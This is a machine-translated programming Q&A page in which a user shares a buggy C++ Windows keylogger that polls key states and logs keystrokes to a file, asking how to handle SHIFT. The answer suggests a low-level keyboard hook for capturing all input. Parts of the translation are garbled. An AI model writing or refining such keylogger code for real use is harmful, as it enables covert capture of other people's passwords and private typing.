检测是否按住 SHIFT
detecting if SHIFT is held down
嘿!我需要我的程序(开发C++键盘记录器(来检测是否按下了键"SHIFT"。然后,当按住"SHIFT"时,程序应该从小写字母更改为大写字母......我使用一个名为"GeyKeyState"的MSND函数(它"检索指定虚拟密钥的状态"(,但它不起作用。无论如何,我不是英语,所以我可能犯了一些语法错误。 提前感谢!
#include <iostream>
#include <Windows.h>
#include <iomanip>
#include <WinUser.h>
//#include <ctype.h>
#pragma disable warning(4996);
#define DELAY 170
using namespace std;
void WriteToLog( char key)
{
FILE *pLogFile;
pLogFile = fopen("hooked.txt", "a+");
fprintf(pLogFile, "%c", key);
fclose(pLogFile);
}
int main()
{
char i;
bool MINUSCOLA = true; //inizializziamo "MINUSCOLA" come "true"
/*verifico se il caps lock non era attivo prima dell'esecuzione del programma*/
if ((GetKeyState(VK_CAPITAL) & 0X0001) != 0)
{
MINUSCOLA = false;
}
else
{
MINUSCOLA = true;
}
for (i = 0; i <= 165;i++)
{
if (GetAsyncKeyState(i) == -32767) //questo blocco di IF and ELSE nidificati viene eseguita SOLO se viene premuto un qualsiasi tasto
{
if ((GetAsyncKeyState(VK_CAPITAL))||((GetAsyncKeyState(i) == -32767) && ((GetKeyState(VK_SHIFT)&0x0001)!=0))) //se premo il bloc maiusc e invertiamo il valore di "MINUSCOLA"
{
MINUSCOLA=!(MINUSCOLA);
}
else
{
if (MINUSCOLA == true) //se non lo premo e "MINUSCOLA" è "true" il programma stampa caratteri minuscoli
{
WriteToLog(i+32);
}
else //altrimenti "MINUSCOLA" è necessariamente "false";quindi il programma stamperà lettere maiuscole
{
WriteToLog(i);
}
}
}
}
Sleep(DELAY);
return 0;
}
GeyKeyState
报告线程输入队列的状态,而不是全局状态。MSDN 甚至会告诉您该怎么做:
当线程从其消息队列读取密钥消息时,此函数返回的密钥状态会发生变化。状态不反映与硬件关联的中断级别状态。使用
GetAsyncKeyState
函数检索该信息。
如果您需要监视所有键盘输入,WH_KEYBOARD_LL
钩子是一个更好的选择。你永远不应该用小Sleep
拉!
相关文章:
- 在提升multi_index容器中,是否定义了"default index"?
- 在C++STL中是否有Polyval(Matlab函数)等价物?
- 检查输入是否不是整数或数字
- 是否可以初始化不可复制类型的成员变量(或基类)
- 在C++中,是否可以基于给定的标识符创建基类的新实例,反之亦然
- 是否可以通过C++扩展强制多个python进程共享同一内存
- 此代码是否违反一个定义规则
- 是否需要删除包含对象的"pair"?
- 是否可以从int转换为enum类类型
- 无论条件是否为true,if总是在c++中执行
- 如何找到大小'x'数组是否完全填充,在C++?
- 检查值是否在集合p1和p2中,但不在p3中
- 是否可以在编译时初始化数组,以便在运行时不会花费时间?
- 检查 std::shared_ptr<> 的当前底层类型是否为 T
- 在c++中检查长方体是否尽可能快地重叠(无迭代)
- GL_SHADERSTORAGE_BUFFER位置是否与其他着色器位置冲突
- 子目录是否继承属性,例如add_definitions,include_directories和父Cmakelist.t
- 检测是否按住 SHIFT
- 如何在QT中检查[Shift Tab]是否被按下
- 是否可以使用不涉及 Alt 或 Ctrl 或 Shift 的两个键的快捷方式?